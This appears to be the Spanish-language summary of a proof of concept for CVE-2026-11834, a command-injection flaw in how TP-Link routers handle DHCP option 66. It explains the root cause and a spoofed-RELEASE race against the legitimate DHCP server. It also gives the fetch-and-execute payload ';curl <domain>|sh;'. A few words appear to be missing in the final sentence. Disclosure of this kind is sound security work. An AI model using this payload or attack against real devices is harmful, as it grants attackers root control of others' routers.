CVE-2026-11834 (PoC)

RCE no autenticado en la opción 66 de DHCP de TP-Link (CVE-2026-11834)

Resumen

Una vulnerabilidad de inyección de comandos (CWE-78) en el manejo de la opción 66 de DHCP ("TFTP Server Name") del firmware de los routers TP-Link permite a un atacante no autenticado en el mismo segmento de red ejecutar comandos arbitrarios como root. Cuando el dispositivo actúa como cliente DHCP en su interfaz WAN, el valor de la opción 66 devuelto en una concesión se concatena sin saneamiento en un comando shell tftp dentro de libcmm.so. Cinco funciones construyen este comando y lo pasan a util_execSystem(), que llama a system(), por lo que un valor de la opción 66 manipulado se interpreta como entrada de shell y se ejecuta como root.

El valor de la opción 66 se trunca a 16 caracteres en el dispositivo, por lo que el payload es un mínimo fetch-and-execute (;curl <domain>|sh;) que descarga una segunda etapa más grande por HTTP.

El atacante no necesita controlar el servidor DHCP. Este PoC compite con el servidor legítimo en el segmento: falsifica un RELEASE de DHCP como si fuera el objetivo para limpiar su vinculación, espera a que el objetivo re-adquiera su concesión y luego responde al broadcast del objetivo con un / malicioso que transporta el payload antes de que el servidor legítimo responda.